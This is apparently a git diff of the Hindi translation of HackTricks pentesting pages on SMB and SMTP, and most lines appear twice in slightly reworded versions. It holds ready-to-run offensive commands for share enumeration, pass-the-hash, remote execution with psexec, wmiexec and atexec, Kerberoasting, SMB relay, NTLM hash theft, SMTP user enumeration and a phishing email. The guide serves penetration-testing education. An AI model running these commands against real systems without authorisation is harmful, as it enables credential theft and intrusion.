GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
Entry_2:
Name: Enum4Linux

View File

@ -10,21 +10,21 @@ The _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* एक सॉफ
```
## Port 445
तकनीकी रूप से, पोर्ट 139 को 'NBT over IP' के रूप में संदर्भित किया जाता है, जबकि पोर्ट 445 को 'SMB over IP' के रूप में पहचाना जाता है। संक्षेप में **SMB** का अर्थ है '**Server Message Blocks**', जिसे आधुनिक रूप से **Common Internet File System (CIFS)** के रूप में भी जाना जाता है। एक एप्लिकेशन-लेयर नेटवर्क प्रोटोकॉल के रूप में, SMB/CIFS का मुख्य रूप से फ़ाइलों, प्रिंटरों, सीरियल पोर्ट्स तक साझा पहुंच सक्षम करने और नेटवर्क पर नोड्स के बीच विभिन्न प्रकार की संचार सुविधाओं के लिए उपयोग किया जाता है।
तकनीकी रूप से, पोर्ट 139 को 'NBT over IP' के रूप में संदर्भित किया जाता है, जबकि पोर्ट 445 को 'SMB over IP' के रूप में पहचाना जाता है। संक्षेप में **SMB** का अर्थ है '**Server Message Blocks**', जिसे आधुनिक रूप से **Common Internet File System (CIFS)** के रूप में भी जाना जाता है। एक एप्लिकेशन-लेयर नेटवर्क प्रोटोकॉल के रूप में, SMB/CIFS मुख्य रूप से फ़ाइलों, प्रिंटरों, सीरियल पोर्ट्स तक साझा पहुंच सक्षम करने और नेटवर्क पर नोड्स के बीच विभिन्न प्रकार की संचार सुविधाओं के लिए उपयोग किया जाता है।
उदाहरण के लिए, Windows के संदर्भ में, यह उजागर किया गया है कि SMB सीधे TCP/IP पर कार्य कर सकता है, पोर्ट 445 के उपयोग के माध्यम से TCP/IP पर NetBIOS की आवश्यकता को समाप्त करता है। इसके विपरीत, विभिन्न प्रणालियों पर, पोर्ट 139 का उपयोग देखा जाता है, जो यह संकेत करता है कि SMB TCP/IP पर NetBIOS के साथ मिलकर कार्यान्वित किया जा रहा है।
उदाहरण के लिए, Windows के संदर्भ में, यह उजागर किया गया है कि SMB सीधे TCP/IP पर कार्य कर सकता है, पोर्ट 445 के उपयोग के माध्यम से TCP/IP पर NetBIOS की आवश्यकता को समाप्त करता है। इसके विपरीत, विभिन्न सिस्टमों पर, पोर्ट 139 का उपयोग देखा जाता है, जो यह संकेत करता है कि SMB TCP/IP पर NetBIOS के साथ मिलकर कार्यान्वित किया जा रहा है।
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
**सर्वर संदेश ब्लॉक (SMB)** प्रोटोकॉल, जो **क्लाइंट-सर्वर** मॉडल में कार्य करता है, **फाइलों**, निर्देशिकाओं, और प्रिंटर और राउटर जैसे अन्य नेटवर्क संसाधनों तक **पहुँच** को नियंत्रित करने के लिए डिज़ाइन किया गया है। मुख्य रूप से **Windows** ऑपरेटिंग सिस्टम श्रृंखला के भीतर उपयोग किया जाता है, SMB पिछड़े संगतता सुनिश्चित करता है, जिससे माइक्रोसॉफ्ट के ऑपरेटिंग सिस्टम के नए संस्करणों वाले उपकरण पुराने संस्करणों के साथ सहजता से बातचीत कर सकें। इसके अतिरिक्त, **Samba** प्रोजेक्ट एक मुफ्त सॉफ़्टवेयर समाधान प्रदान करता है, जो SMB के कार्यान्वयन को **Linux** और Unix सिस्टम पर सक्षम बनाता है, इस प्रकार SMB के माध्यम से क्रॉस-प्लेटफ़ॉर्म संचार को सुविधाजनक बनाता है।
**सर्वर संदेश ब्लॉक (SMB)** प्रोटोकॉल, जो **क्लाइंट-सर्वर** मॉडल में कार्य करता है, **फाइलों**, निर्देशिकाओं और प्रिंटर और राउटर जैसे अन्य नेटवर्क संसाधनों तक **पहुँच** को नियंत्रित करने के लिए डिज़ाइन किया गया है। मुख्य रूप से **Windows** ऑपरेटिंग सिस्टम श्रृंखला के भीतर उपयोग किया जाता है, SMB पिछड़े संगतता सुनिश्चित करता है, जिससे माइक्रोसॉफ्ट के ऑपरेटिंग सिस्टम के नए संस्करणों वाले उपकरण पुराने संस्करणों के साथ सहजता से बातचीत कर सकें। इसके अतिरिक्त, **Samba** प्रोजेक्ट एक मुफ्त सॉफ़्टवेयर समाधान प्रदान करता है, जो SMB के कार्यान्वयन को **Linux** और Unix सिस्टम पर सक्षम बनाता है, इस प्रकार SMB के माध्यम से क्रॉस-प्लेटफ़ॉर्म संचार को सुविधाजनक बनाता है।
शेयर, जो **स्थानीय फ़ाइल प्रणाली के मनमाने भागों** का प्रतिनिधित्व करते हैं, एक SMB सर्वर द्वारा प्रदान किए जा सकते हैं, जिससे क्लाइंट के लिए हायरार्की को सर्वर की वास्तविक संरचना से आंशिक रूप से **स्वतंत्र** रूप से देखा जा सकता है। **एक्सेस कंट्रोल लिस्ट (ACLs)**, जो **पहुँच अधिकार** को परिभाषित करती हैं, उपयोगकर्ता अनुमतियों पर **सूक्ष्म-नियंत्रण** की अनुमति देती हैं, जिसमें **`execute`**, **`read`**, और **`full access`** जैसे गुण शामिल हैं। ये अनुमतियाँ शेयर के आधार पर व्यक्तिगत उपयोगकर्ताओं या समूहों को सौंपे जा सकते हैं, और ये सर्वर पर सेट स्थानीय अनुमतियों से भिन्न होती हैं।
शेयर, जो **स्थानीय फ़ाइल प्रणाली के मनमाने हिस्सों** का प्रतिनिधित्व करते हैं, एक SMB सर्वर द्वारा प्रदान किए जा सकते हैं, जिससे क्लाइंट के लिए हायरार्की को सर्वर की वास्तविक संरचना से आंशिक रूप से **स्वतंत्र** रूप से देखा जा सकता है। **एक्सेस कंट्रोल लिस्ट (ACLs)**, जो **पहुँच अधिकार** को परिभाषित करती हैं, उपयोगकर्ता अनुमतियों पर **सूक्ष्म-नियंत्रण** की अनुमति देती हैं, जिसमें **`execute`**, **`read`**, और **`full access`** जैसे गुण शामिल हैं। ये अनुमतियाँ शेयर के आधार पर व्यक्तिगत उपयोगकर्ताओं या समूहों को सौंपे जा सकते हैं, और ये सर्वर पर सेट स्थानीय अनुमतियों से भिन्न होती हैं।
### IPC$ Share
IPC$ शेयर तक पहुँच एक गुमनाम शून्य सत्र के माध्यम से प्राप्त की जा सकती है, जिससे नामित पाइप के माध्यम से उजागर सेवाओं के साथ बातचीत की जा सके। इस उद्देश्य के लिए उपयोगिता `enum4linux` उपयोगी है। सही तरीके से उपयोग करने पर, यह निम्नलिखित जानकारी प्राप्त करने में सक्षम बनाता है:
IPC$ शेयर तक पहुँच एक गुमनाम शून्य सत्र के माध्यम से प्राप्त की जा सकती है, ज नामित पाइप के माध्यम से उजागर सेवाओं के साथ बातचीत की अनुमति देती है। इस उद्देश्य के लिए उपयोगिता `enum4linux` उपयोगी है। सही तरीके से उपयोग करने पर, यह निम्नलिखित जानकारी प्राप्त करने में सक्षम बनाता है:
- ऑपरेटिंग सिस्टम की जानकारी
- माता-पिता डोमेन का विवरण
@ -48,13 +48,13 @@ enum4linux -a target_ip
## **सर्वर एन्यूमरेशन**
### **स्कैन** क नेटवर्क में होस्ट की खोज करते हुए:
### **स्कैन**रते हुए नेटवर्क में होस्ट की खोज करें:
```bash
nbtscan -r 192.168.0.1/24
```
### SMB सर्वर संस्करण
SMB संस्करण के लिए संभावित एक्सप्लॉइट्स की तलाश करने के लिए यह जानना महत्वपूर्ण है कि कौन सा संस्करण उपयोग किया जा रहा है। यदि यह जानकारी अन्य उपयोग किए गए उपकरणों में नहीं दिखाई देती है, तो आप:
SMB संस्करण के संभावित शोषणों की तलाश करने के लिए यह जानना महत्वपूर्ण है कि कौन सा संस्करण उपयोग में है। यदि यह जानकारी अन्य उपयोग किए गए उपकरणों में नहीं दिखाई देती है, तो आप:
- **MSF** सहायक मॉड्यूल \_**auxiliary/scanner/smb/smb_version** का उपयोग करें
- या इस स्क्रिप्ट का उपयोग करें:
@ -74,7 +74,7 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
```
### **शोध शोषण**
### **खोज शोषण**
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
@ -87,7 +87,7 @@ searchsploit microsoft smb
| गेस्ट | _(खाली)_ |
| व्यवस्थापक, एडमिन | _(खाली)_, पासवर्ड, व्यवस्थापक, एडमिन |
| आर्कसर्व | आर्कसर्व, बैकअप |
| टिवोली, टेमरसरव्ड | टिवोली, टेमरसरव्ड, एडमिन |
| टिवोली, tmersrvd | टिवोली, tmersrvd, एडमिन |
| बैकअपएक्सेक, बैकअप | बैकअपएक्सेक, बैकअप, आर्काडा |
| परीक्षण, प्रयोगशाला, डेमो | पासवर्ड, परीक्षण, प्रयोगशाला, डेमो |
@ -169,7 +169,7 @@ rpcclient-enumeration.md
### साझा फ़ोल्डरों की सूची
यह हमेशा अनुशंसित है कि आप देखें कि क्या आप किसी चीज़ तक पहुँच सकते हैं, यदि आपके पास क्रेडेंशियल्स नहीं हैं तो **null** **क्रेडेंशियल्स/अतिथि उपयोगकर्ता** का उपयोग करने का प्रयास करें।
यह हमेशा अनुशंसित है कि देखें कि क्या आप किसी चीज़ तक पहुँच सकते हैं, यदि आपके पास क्रेडेंशियल्स नहीं हैं तो **null** **क्रेडेंशियल्स/अतिथि उपयोगकर्ता** का उपयोग करने की कोशिश करें।
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@ -197,7 +197,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
```
### **मैन्युअल रूप से विंडोज़ शेयरों की गणना करें और उनसे कनेक्ट करें**
यह संभव है कि आपको होस्ट मशीन के किसी भी शेयर को प्रदर्शित करने से प्रतिबंधित किया गया हो और जब आप उन्हें सूचीबद्ध करने की कोशिश करते हैं, तो ऐसा प्रतीत होता है कि कनेक्ट करने के लिए कोई शेयर नहीं हैं। इसलिए, एक शेयर से मैन्युअल रूप से कनेक्ट करने की कोशिश करना सार्थक हो सकता है। शेयरों की मैन्युअल गणना करने के लिए, आप NT_STATUS_ACCESS_DENIED और NT_STATUS_BAD_NETWORK_NAME जैसी प्रतिक्रियाओं की तलाश कर सकते हैं, जब आप एक मान्य सत्र का उपयोग कर रहे हों (जैसे, नल सत्र या मान्य क्रेडेंशियल)। ये यह संकेत कर सकते हैं कि शेयर मौजूद है और आपके पास इसका एक्सेस नहीं है या शेयर बिल्कुल मौजूद नहीं है।
यह संभव है कि आपको होस्ट मशीन के किसी भी शेयर को प्रदर्शित करने से प्रतिबंधित किया गया हो और जब आप उन्हें सूचीबद्ध करने की कोशिश करते हैं, तो ऐसा प्रतीत होता है कि कनेक्ट करने के लिए कोई शेयर नहीं हैं। इसलिए, एक शेयर से मैन्युअल रूप से कनेक्ट करने की कोशिश करना सार्थक हो सकता है। शेयरों की मैन्युअल गणना करने के लिए, आप NT_STATUS_ACCESS_DENIED और NT_STATUS_BAD_NETWORK_NAME जैसी प्रतिक्रियाओं की तलाश कर सकते हैं, जब आप एक मान्य सत्र (जैसे, नल सत्र या मान्य क्रेडेंशियल) का उपयोग कर रहे हों। ये यह संकेत कर सकते हैं कि शेयर मौजूद है और आपके पास इसका एक्सेस नहीं है या शेयर बिल्कुल मौजूद नहीं है।
विंडोज़ लक्ष्यों के लिए सामान्य शेयर नाम हैं
@ -210,7 +210,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
- SYSVOL
- NETLOGON
( _**नेटवर्क सुरक्षा आकलन 3री संस्करण**_ से सामान्य शेयर नाम)
(सामान्य शेयर नाम _**नेटवर्क सुरक्षा आकलन 3री संस्करण**_ से)
आप निम्नलिखित कमांड का उपयोग करके उनसे कनेक्ट करने की कोशिश कर सकते हैं
```bash
@ -239,7 +239,7 @@ done
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
### **Windows से शेयरों की गणना करें / बिना थर्ड-पार्टी टूल के**
### **Windows से शेयरों की गणना करें / बिना थर्ड-पार्टी टूल्स के**
PowerShell
```powershell
@ -274,7 +274,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **फाइलें डाउनलोड करें**
पंजीकरण/पास-थ-हैश के साथ कनेक्ट करने के लिए पिछले अनुभाग पढ़ें।
क्रेडेंशियल्स/पास-थी-हैश के साथ कनेक्ट करने के लिए पिछले अनुभाग पढ़ें।
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@ -289,18 +289,18 @@ smbclient //<IP>/<share>
> mget *
#Download everything to current directory
```
Commands:
कमांड:
- mask: निर्दिष्ट करता है कि फ़ाइलों को फ़िल्टर करने के लिए कौन सा मास्क उपयोग किया जाता है (जैसे "" सभी फ़ाइलों के लिए)
- recurse: पुनरावृत्ति को चालू करता है (डिफ़ॉल्ट: बंद)
- prompt: फ़ाइल नामों के लिए संकेत को बंद करता है (डिफ़ॉल्ट: चालू)
- mget: होस्ट से क्लाइंट मशीन पर मास्क से मेल खाने वाली सभी फ़ाइलों की प्रतिलिपि बनाता है
- prompt: फ़ाइल नामों के लिए संकेत देने को बंद करता है (डिफ़ॉल्ट: चालू)
- mget: होस्ट से क्लाइंट मशीन पर मास्क से मेल खाने वाली सभी फ़ाइलों की कॉपी करता है
(_Information from the manpage of smbclient_)
(_smbclient के मैनपेज से जानकारी_)
### Domain Shared Folders Search
### डोमेन साझा फ़ोल्डर्स खोज
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)****
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
@ -313,8 +313,8 @@ sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'De
विशेष रूप से शेयरों में **`Registry.xml`** नामक फ़ाइलें दिलचस्प हैं क्योंकि वे **autologon** के साथ कॉन्फ़िगर किए गए उपयोगकर्ताओं के लिए पासवर्ड **शामिल कर सकती हैं**। या **`web.config`** फ़ाइलें क्योंकि वे क्रेडेंशियल्स **शामिल करती हैं**
> [!NOTE]
> **SYSVOL शेयर** सभी प्रमाणित उपयोगकर्ताओं द्वारा **पढ़ा जा सकता है**। वहाँ आप कई विभिन्न बैच, VBScript, और PowerShell **स्क्रिप्ट्स** **पाएंगे**।\
> आपको इसके अंदर की **स्क्रिप्ट्स** की **जांच** करनी चाहिए क्योंकि आप संवेदनशील जानकारी जैसे **पासवर्ड** **पाएंगे**
> **SYSVOL शेयर** सभी प्रमाणित उपयोगकर्ताओं द्वारा **पढ़ा जा सकता है**। वहाँ आप कई विभिन्न बैच, VBScript, और PowerShell **स्क्रिप्ट** **पाएंगे**।\
> आपको इसके अंदर की **स्क्रिप्ट** की **जांच** करनी चाहिए क्योंकि आप संवेदनशील जानकारी जैसे **पासवर्ड** **पाएंगे**
## रजिस्ट्री पढ़ें
@ -378,7 +378,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
दोनों विकल्प **एक नई सेवा बनाएंगे** (SMB के माध्यम से _\pipe\svcctl_ का उपयोग करते हुए) पीड़ित मशीन में और इसका उपयोग **कुछ निष्पादित करने** के लिए करेंगे (**psexec** **एक निष्पादन योग्य फ़ाइल को ADMIN$ शेयर पर **अपलोड** करेगा और **smbexec** **cmd.exe/powershell.exe** की ओर इशारा करेगा और तर्कों में पेलोड डालेगा --**फाइल-लेस तकनीक-**-)\
दोनों विकल्प **एक नई सेवा बनाएंगे** (SMB के माध्यम से _\pipe\svcctl_ का उपयोग करते हुए) पीड़ित मशीन में और इसका उपयोग **कुछ निष्पादित करने** के लिए करेंगे (**psexec** एक निष्पादन योग्य फ़ाइल को ADMIN$ शेयर में **अपलोड** करेगा और **smbexec** **cmd.exe/powershell.exe** की ओर इशारा करेगा और तर्कों में पेलोड डालेगा --**फाइल-लेस तकनीक-**-).\
**अधिक जानकारी** [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md) और [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) के बारे में।\
**kali** में यह /usr/share/doc/python3-impacket/examples/ पर स्थित है।
```bash
@ -388,11 +388,11 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
**पैरामीटर**`-k` का उपयोग करके आप **kerberos** के खिलाफ प्रमाणीकरण कर सकते हैं, इसके बजाय **NTLM**
**पैरामीटर**`-k` का उपयोग करके आप **kerberos** के खिलाफ प्रमाणीकरण कर सकते हैं, बजाय **NTLM** के
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
बिना डिस्क को छुए या नई सेवा चलाए **port 135** के माध्यम से DCOM का उपयोग करके चुपचाप एक कमांड शेल निष्पादित करें।\
बिना डिस्क को छुए या नई सेवा चलाए, **port 135** के माध्यम से DCOM का उपयोग करके चुपचाप एक कमांड शेल निष्पादित करें।\
**kali** में यह /usr/share/doc/python3-impacket/examples/ पर स्थित है।
```bash
#If no password is provided, it will be prompted
@ -400,7 +400,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
**पैरामीटर**`-k` का उपयोग करके आप **केरबोस** के खिलाफ प्रमाणीकरण कर सकते हैं बजाय **NTLM** के।
**पैरामीटर**`-k` का उपयोग करके आप **केरेरोस** के खिलाफ प्रमाणीकरण कर सकते हैं बजाय **NTLM** के।
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
@ -409,7 +409,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
```
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
SMB के माध्यम से Task Scheduler के जरिए कमांड निष्पादित करें (_\pipe\atsvc_ का उपयोग करके)।\
कमांड को टास्क शेड्यूलर के माध्यम से निष्पादित करें (SMB के माध्यम से _\pipe\atsvc_ का उपयोग करके)।\
**kali** में यह /usr/share/doc/python3-impacket/examples/ पर स्थित है।
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
@ -419,7 +419,7 @@ SMB के माध्यम से Task Scheduler के जरिए कम
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
## **ब्रूटफोर्स उपयोगकर्ता क्रेडेंशियल्स**
## **ब्रूटफोर्स उपयोगकर्ताओं के क्रेडेंशियल्स**
**यह अनुशंसित नहीं है, यदि आप अधिकतम अनुमत प्रयासों से अधिक हो जाते हैं तो आप एक खाता ब्लॉक कर सकते हैं**
```bash
@ -428,14 +428,14 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
```
## SMB relay attack
यह हमला Responder toolkit का उपयोग करके **SMB प्रमाणीकरण सत्रों** को आंतरिक नेटवर्क पर **कैप्चर** करता है, और उन्हें **लक्ष्य मशीन** पर **रिले** करता है। यदि प्रमाणीकरण **सत्र सफल** होता है, तो यह स्वचालित रूप से आपको **सिस्टम** **शेल** में ले जाएगा।\
यह हमला Responder toolkit का उपयोग करके **SMB प्रमाणीकरण सत्रों** को एक आंतरिक नेटवर्क पर **कैप्चर** करता है, और उन्हें एक **लक्ष्य मशीन** पर **रिले** करता है। यदि प्रमाणीकरण **सत्र सफल** होता है, तो यह स्वचालित रूप से आपको एक **सिस्टम** **शेल** में ले जाएगा।\
[**इस हमले के बारे में अधिक जानकारी यहाँ।**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
Windows पुस्तकालय URLMon.dll स्वचालित रूप से उस होस्ट पर प्रमाणीकरण करने की कोशिश करत है जब एक पृष्ठ SMB के माध्यम से कुछ सामग्री तक पहुँचने की कोशिश करता है, उदाहरण के लिए: `img src="\\10.10.10.10\path\image.jpg"`
Windows लाइब्रेरी URLMon.dll स्वचालित रूप से उस होस्ट पर प्रमाणीकरण करने की कोशिश करत है जब एक पृष्ठ SMB के माध्यम से कुछ सामग्री तक पहुँचने की कोशिश करता है, उदाहरण के लिए: `img src="\\10.10.10.10\path\image.jpg"`
यह कार्यों के साथ होता है:
यह निम्नलिखित कार्यों के साथ होता है:
- URLDownloadToFile
- URLDownloadToCache
@ -452,7 +452,7 @@ Windows पुस्तकालय URLMon.dll स्वचालित रू
## NTLM Theft
SMB Trapping के समान, लक्षित प्रणाली पर दुर्भावनापूर्ण फ़ाइलें लगाने (उदाहरण के लिए SMB के माध्यम से) एक SMB प्रमाणीकरण प्रयास को उत्तेजित कर सकती हैं, जिससे NetNTLMv2 हैश को Responder जैसे उपकरण के साथ इंटरसेप्ट किया जा सकता है। हैश को फिर ऑफ़लाइन क्रैक किया जा सकता है या [SMB relay attack](#smb-relay-attack) में उपयोग किया जा सकता है।
SMB Trapping के समान, एक लक्षित प्रणाली पर दुर्भावनापूर्ण फ़ाइलें लगाने (SMB के माध्यम से, उदाहरण के लिए) एक SMB प्रमाणीकरण प्रयास को उत्तेजित कर सकती हैं, जिससे NetNTLMv2 हैश को Responder जैसे उपकरण के साथ इंटरसेप्ट किया जा सकता है। हैश को फिर ऑफ़लाइन क्रैक किया जा सकता है या [SMB relay attack](#smb-relay-attack) में उपयोग किया जा सकता है।
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
@ -496,7 +496,7 @@ GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
Entry_2:
Name: Enum4Linux

View File

@ -4,7 +4,7 @@
## **बुनियादी जानकारी**
**सिंपल मेल ट्रांसफर प्रोटोकॉल (SMTP)** एक प्रोटोकॉल है जो **ई-मेल भेजने और प्राप्त करने** के लिए TCP/IP सूट के भीतर उपयोग किया जाता है। प्राप्तकर्ता के अंत में संदेशों को कतारबद्ध करने में इसकी सीमाओं के कारण, SMTP अक्सर **POP3 या IMAP** के साथ उपयोग किया जाता है। ये अतिरिक्त प्रोटोकॉल उपयोगकर्ताओं को सर्वर मेलबॉक्स पर संदेशों को संग्रहीत करने और उन्हें समय-समय पर डाउनलोड करने की अनुमति देते हैं।
**सिंपल मेल ट्रांसफर प्रोटोकॉल (SMTP)** एक प्रोटोकॉल है जो **ई-मेल भेजने और प्राप्त करने** के लिए TCP/IP सूट के भीतर उपयोग किया जाता है। प्राप्तकर्ता के अंत पर संदेशों को कतारबद्ध करने में इसकी सीमाओं के कारण, SMTP अक्सर **POP3 या IMAP** के साथ उपयोग किया जाता है। ये अतिरिक्त प्रोटोकॉल उपयोगकर्ताओं को एक सर्वर मेलबॉक्स पर संदेशों को संग्रहीत करने और उन्हें समय-समय पर डाउनलोड करने की अनुमति देते हैं।
व्यवहार में, यह सामान्य है कि **ई-मेल प्रोग्राम** **ई-मेल भेजने** के लिए **SMTP** का उपयोग करते हैं, जबकि **उन्हें प्राप्त करने** के लिए **POP3 या IMAP** का उपयोग करते हैं। यूनिक्स आधारित सिस्टम पर, **sendmail** ई-मेल उद्देश्यों के लिए सबसे अधिक उपयोग किया जाने वाला SMTP सर्वर है। Sendmail के रूप में ज्ञात व्यावसायिक पैकेज में एक POP3 सर्वर शामिल है। इसके अलावा, **Microsoft Exchange** एक SMTP सर्वर प्रदान करता है और POP3 समर्थन शामिल करने का विकल्प देता है।
@ -15,11 +15,11 @@ PORT STATE SERVICE REASON VERSION
```
### EMAIL Headers
यदि आपके पास **शिकार को आपको एक ईमेल भेजने का अवसर है** (उदाहरण के लिए, वेब पृष्ठ के संपर्क फ़ॉर्म के माध्यम से), तो ऐसा करें क्योंकि **आप ईमेल के हेडर को देखकर शिकार की आंतरिक टोपोलॉजी के बारे में जान सकते हैं**
यदि आपके पास **शिकार को आपको एक ईमेल भेजने का अवसर है** (उदाहरण के लिए, वेब पृष्ठ के संपर्क फ़ॉर्म के माध्यम से), तो ऐसा करें क्योंकि **आप शिकार की आंतरिक टोपोलॉजी के बारे में जान सकते हैं** मेल के हेडर को देखकर।
आप एक SMTP सर्वर से एक ईमेल भी प्राप्त कर सकते हैं जो **उस सर्वर को एक गैर-मौजूद पते पर ईमेल भेजने की कोशिश कर रहा है** (क्योंकि सर्वर हमलावर को एक NDN मेल भेजेगा)। लेकिन, सुनिश्चित करें कि आप ईमेल एक अनुमत पते से भेजें (SPF नीति की जांच करें) और कि आप NDN संदेश प्राप्त कर सकते हैं।
आप एक SMTP सर्वर से ईमेल भी प्राप्त कर सकते हैं जो **उस सर्वर को एक गैर-मौजूद पते पर ईमेल भेजने की कोशिश कर रहा है** (क्योंकि सर्वर हमलावर को एक NDN मेल भेजेगा)। लेकिन, सुनिश्चित करें कि आप ईमेल एक अनुमत पते से भेजें (SPF नीति की जांच करें) और कि आप NDN संदेश प्राप्त कर सकते हैं।
आपको **विभिन्न सामग्री भेजने की कोशिश करनी चाहिए क्योंकि आप हेडर में अधिक दिलचस्प जानकारी पा सकते हैं** जैसे: `X-Virus-Scanned: by av.domain.com`\
आपको **विभिन्न सामग्री भेजने की कोशिश भी करनी चाहिए क्योंकि आप हेडर में अधिक दिलचस्प जानकारी पा सकते हैं** जैसे: `X-Virus-Scanned: by av.domain.com`\
आपको EICAR परीक्षण फ़ाइल भेजनी चाहिए।\
**AV** का पता लगाना आपको **ज्ञात कमजोरियों का लाभ उठाने** की अनुमति दे सकता है।
@ -40,14 +40,14 @@ openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
```bash
dig +short mx google.com
```
### गणना
### Enumeration
```bash
nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
### NTLM Auth - जानकारी का खुलासा
यदि सर्वर NTLM ऑथ (Windows) का समर्थन करता है, तो आप संवेदनशील जानकारी (संस्करण) प्राप्त कर सकते हैं। अधिक जानकारी [**यहां**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666)।
यदि सर्वर NTLM प्रमाणीकरण (Windows) का समर्थन करता है, तो आप संवेदनशील जानकारी (संस्करण) प्राप्त कर सकते हैं। अधिक जानकारी [**यहां**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666)।
```bash
root@kali: telnet example.com 587
220 example.com SMTP Server Banner
@ -81,15 +81,15 @@ EHLO all
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
```
### स्निफ़िंग
### Sniffing
जांचें कि क्या आप पोर्ट 25 से पैकेट्स से कुछ पासवर्ड स्निफ़ कर रहे हैं
### [ऑथ ब्रूटफोर्स](../../generic-hacking/brute-force.md#smtp)
### [Auth bruteforce](../../generic-hacking/brute-force.md#smtp)
## यूज़रनेम ब्रूटफोर्स एन्यूमरेशन
## Username Bruteforce Enumeration
**प्रमाणीकरण हमेशा आवश्यक नहीं होता**
**प्रमाणीकरण हमेशा आवश्यक नहीं है**
### RCPT TO
```bash
@ -148,11 +148,11 @@ Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>
```
## DSN रिपोर्ट
## DSN Reports
**डिलीवरी स्टेटस नोटिफिकेशन रिपोर्ट**: यदि आप किसी संगठन को एक **ईमेल** भेजते हैं एक **अमान्य पते** पर, तो संगठन आपको सूचित करेगा कि पता अमान्य था **आपको एक मेल वापस भेजकर**। लौटाए गए ईमेल के **हेडर** में संभावित **संवेदनशील जानकारी** होगी (जैसे कि रिपोर्ट के साथ इंटरैक्ट करने वाली मेल सेवाओं का IP पता या एंटी-वायरस सॉफ़्टवेयर की जानकारी)।
**डिलीवरी स्टेटस नोटिफिकेशन रिपोर्ट्स**: यदि आप किसी संगठन को एक **ईमेल** एक **अमान्य पते** पर भेजते हैं, तो संगठन आपको सूचित करेगा कि पता अमान्य था, **आपको एक मेल वापस भेजकर**। लौटाए गए ईमेल के **हेडर** में संभावित **संवेदनशील जानकारी** शामिल होगी (जैसे कि रिपोर्ट के साथ इंटरैक्ट करने वाली मेल सेवाओं का IP पता या एंटी-वायरस सॉफ़्टवेयर की जानकारी)।
## [कमांड्स](smtp-commands.md)
## [Commands](smtp-commands.md)
### लिनक्स कंसोल से ईमेल भेजना
```bash
@ -168,11 +168,11 @@ If you are manually typing in a message:
```bash
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
```
### Python के साथ ईमेल भेजना
### Sending an Email with Python
<details>
